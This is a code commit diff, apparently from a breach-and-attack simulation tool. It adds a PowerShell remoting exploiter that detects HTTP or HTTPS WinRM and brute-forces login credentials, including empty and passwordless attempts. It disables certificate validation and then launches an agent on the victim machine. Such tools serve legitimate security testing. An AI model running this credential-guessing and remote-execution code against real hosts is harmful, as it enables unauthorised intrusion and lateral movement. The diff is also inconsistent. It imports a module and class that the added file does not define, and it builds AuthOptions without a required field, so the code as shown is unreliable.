Add the capability to exploit powershell remoting over HTTP and improve the code style

monkey/infection_monkey/Pipfile

@@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
 ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
 pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
 pypsrp = "*"
+typing-extensions = "*"
 
 [dev-packages]
 

monkey/infection_monkey/Pipfile.lock

@@ -1,7 +1,7 @@
 {
     "_meta": {
         "hash": {
-            "sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359"
+            "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9"
         },
         "pipfile-spec": 6,
         "requires": {
@@ -69,19 +69,19 @@
         },
         "boto3": {
             "hashes": [
-                "sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11",
+                "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4",
-                "sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e"
+                "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6"
             ],
             "markers": "python_version >= '3.6'",
-            "version": "==1.18.27"
+            "version": "==1.18.33"
         },
         "botocore": {
             "hashes": [
-                "sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5",
+                "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c",
-                "sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5"
+                "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31"
             ],
             "markers": "python_version >= '3.6'",
-            "version": "==1.21.27"
+            "version": "==1.21.33"
         },
         "certifi": {
             "hashes": [
@@ -441,11 +441,11 @@
         },
         "minidump": {
             "hashes": [
-                "sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498",
+                "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077",
-                "sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff"
+                "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537"
             ],
             "markers": "python_version >= '3.6'",
-            "version": "==0.0.18"
+            "version": "==0.0.19"
         },
         "minikerberos": {
             "hashes": [
@@ -969,12 +969,12 @@
         },
         "typing-extensions": {
             "hashes": [
-                "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
+                "sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
-                "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
+                "sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
-                "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
+                "sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
             ],
-            "markers": "python_version < '3.8'",
+            "index": "pypi",
-            "version": "==3.10.0.0"
+            "version": "==3.10.0.2"
         },
         "urllib3": {
             "hashes": [

monkey/infection_monkey/exploit/powershell.py

@@ -4,7 +4,7 @@ from typing import Optional, Union
 
 import pypsrp
 import spnego
-from pypsrp.client import Client
+from pypsrp.exceptions import AuthenticationError
 from pypsrp.powershell import PowerShell, RunspacePool
 from urllib3 import connectionpool
 
@@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
 from infection_monkey.exploit.HostExploiter import HostExploiter
 from infection_monkey.exploit.powershell_utils import utils
+from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
+from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator
+from infection_monkey.exploit.powershell_utils.utils import (
+    IClient,
+    get_client_based_on_auth_options,
+)
 from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
 from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
 from infection_monkey.utils.environment import is_windows_os
@@ -41,49 +47,79 @@ class PowerShellExploiter(HostExploiter):
             logging.getLogger(package.__name__).setLevel(logging.ERROR)
 
     def _exploit_host(self):
-        self.client = self._authenticate_via_brute_force()
+        is_https = self._is_client_using_https()
+        credentials = CredentialGenerator(
+            self.host.ip_addr,
+            self._config.exploit_user_list,
+            self._config.exploit_password_list,
+            is_windows_os(),
+        ).get_credentials(is_https=is_https)
+
+        self.client = self._authenticate_via_brute_force(credentials)
         if not self.client:
             return False
 
         return self._execute_monkey_agent_on_victim()
 
-    def _authenticate_via_brute_force(self) -> Optional[Client]:
+    def _is_client_using_https(self) -> bool:
-        credentials = utils.get_credentials(
-            self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
-        )
-
-        for username, password in credentials:
         try:
-                client = self._authenticate(username, password)
+            self._try_http()
+            return False
+        except AuthenticationError:
+            return False
+        except Exception:
+            pass
+
+        try:
+            self._try_https()
+            return True
+        except AuthenticationError:
+            return True
+        except Exception:
+            raise Exception("Powershell remoting seems to be disabled.")
+
+    def _try_http(self):
+        auth_options_http = AuthOptions(
+            ip_addr=self.host.ip_addr,
+            username=self._config.exploit_user_list[0],
+            password=self._config.exploit_password_list[0],
+            is_https=False,
+        )
+        self._authenticate(auth_options_http)
+
+    def _try_https(self):
+        auth_options_http = AuthOptions(
+            ip_addr=self.host.ip_addr,
+            username=self._config.exploit_user_list[0],
+            password=self._config.exploit_password_list[0],
+            is_https=True,
+        )
+        self._authenticate(auth_options_http)
+
+    def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]:
+        for credential in credentials:
+            try:
+                client = PowerShellExploiter._authenticate(credential)
 
                 LOG.info(
                     f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
-                    f"{username}"
+                    f"{credential.username}"
                 )
-                self.report_login_attempt(True, username, password)
+                self.report_login_attempt(True, credential.username, credential.password)
 
                 return client
             except Exception as ex:  # noqa: F841
                 LOG.debug(
                     f"Error logging into {self.host.ip_addr} using Powershell. User: "
-                    f"{username}, Error: {ex}"
+                    f"{credential.username}, Error: {ex}"
                 )
-                self.report_login_attempt(False, username, password)
+                self.report_login_attempt(False, credential.username, credential.password)
 
         return None
 
-    def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client:
+    @staticmethod
-        (ssl, auth, encryption) = utils.get_powershell_client_params(password)
+    def _authenticate(auth_options: AuthOptions) -> IClient:
-        client = Client(
+        client = get_client_based_on_auth_options(auth_options)
-            self.host.ip_addr,
-            username=username,
-            password=password,
-            cert_validation=False,
-            ssl=ssl,
-            auth=auth,
-            encryption=encryption,
-            connection_timeout=3,
-        )
 
         # attempt to execute dir command to know if authentication was successful
         client.execute_cmd("dir")

monkey/infection_monkey/exploit/powershell_utils/auth_options.py

@@ -0,0 +1,10 @@
+from dataclasses import dataclass
+from typing import Union
+
+
+@dataclass
+class AuthOptions:
+    ip_addr: str
+    username: Union[str, None]
+    password: Union[str, None]
+    is_https: bool

monkey/infection_monkey/exploit/powershell_utils/credential_generation.py

@@ -0,0 +1,46 @@
+from itertools import product
+from typing import List
+
+from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
+
+
+def get_credentials(
+    usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool
+) -> List[AuthOptions]:
+    credentials = []
+    credentials.extend(_get_empty_credentials(is_windows))
+    credentials.extend(_get_username_only_credentials(usernames, is_windows))
+    credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https))
+
+    return credentials
+
+
+def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]:
+    if is_windows:
+        return [AuthOptions(username=None, password=None, is_https=False)]
+
+    return []
+
+
+def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]:
+    credentials = [
+        AuthOptions(username=username, password="", is_https=False) for username in usernames
+    ]
+
+    if is_windows:
+        credentials.extend(
+            [AuthOptions(username=username, password=None, is_https=True) for username in usernames]
+        )
+
+    return credentials
+
+
+def _get_username_password_credentials(
+    usernames: List[str], passwords: List[str], is_https: bool
+) -> List[AuthOptions]:
+    username_password_pairs = product(usernames, passwords)
+
+    return [
+        AuthOptions(credentials[0], credentials[1], is_https=is_https)
+        for credentials in username_password_pairs
+    ]

monkey/infection_monkey/exploit/powershell_utils/utils.py

@@ -1,63 +1,10 @@
-from itertools import product
+from pypsrp.client import Client
-from typing import List, Optional, Tuple
+from typing_extensions import Protocol
 
+from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
 from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
 from infection_monkey.utils.commands import build_monkey_commandline
 
-AUTH_BASIC = "basic"
-AUTH_NEGOTIATE = "negotiate"
-ENCRYPTION_AUTO = "auto"
-ENCRYPTION_NEVER = "never"
-
-
-def get_credentials(
-    usernames: List[str], passwords: List[str], is_windows: bool
-) -> List[Tuple[Optional[str], Optional[str]]]:
-    # When username or password is None, this instructs the powershell client to attempt to use
-    # The current user's credentials. This is only valid if the client is running from a Windows
-    # machine.
-
-    credentials = []
-    credentials.extend(_get_empty_credentials(is_windows))
-    credentials.extend(_get_username_only_credentials(usernames, is_windows))
-    credentials.extend(_get_username_password_credentials(usernames, passwords))
-
-    return credentials
-
-
-def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]:
-    if is_windows:
-        return [(None, None)]
-
-    return []
-
-
-def _get_username_only_credentials(
-    usernames: List[str], is_windows: bool
-) -> List[Tuple[str, Optional[str]]]:
-    credentials = [(username, "") for username in usernames]
-
-    if is_windows:
-        credentials.extend([(username, None) for username in usernames])
-
-    return credentials
-
-
-def _get_username_password_credentials(
-    usernames: List[str], passwords: List[str]
-) -> List[Tuple[str, str]]:
-    username_password_pairs = product(usernames, passwords)
-
-    return [credentials for credentials in username_password_pairs]
-
-
-def get_powershell_client_params(password: str) -> Tuple[bool, str, str]:
-    ssl = password != ""
-    auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC
-    encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER
-
-    return (ssl, auth, encryption)
-
 
 def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
     monkey_params = build_monkey_commandline(
@@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
         "monkey_type": DROPPER_ARG,
         "parameters": monkey_params,
     }
+
+
+AUTH_BASIC = "basic"
+AUTH_NEGOTIATE = "negotiate"
+ENCRYPTION_AUTO = "auto"
+ENCRYPTION_NEVER = "never"
+
+CONNECTION_TIMEOUT = 3  # Seconds
+
+
+class IClient(Protocol):
+    def execute_cmd(self, cmd: str):
+        pass
+
+
+def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient:
+
+    # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
+    if auth_options.password == "":
+        ssl = False
+    else:
+        ssl = auth_options.is_https
+    auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC
+    encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER
+
+    return Client(
+        auth_options.ip_addr,
+        username=auth_options.username,
+        password=auth_options.password,
+        cert_validation=False,
+        ssl=ssl,
+        auth=auth,
+        encryption=encryption,
+        connection_timeout=CONNECTION_TIMEOUT,
+    )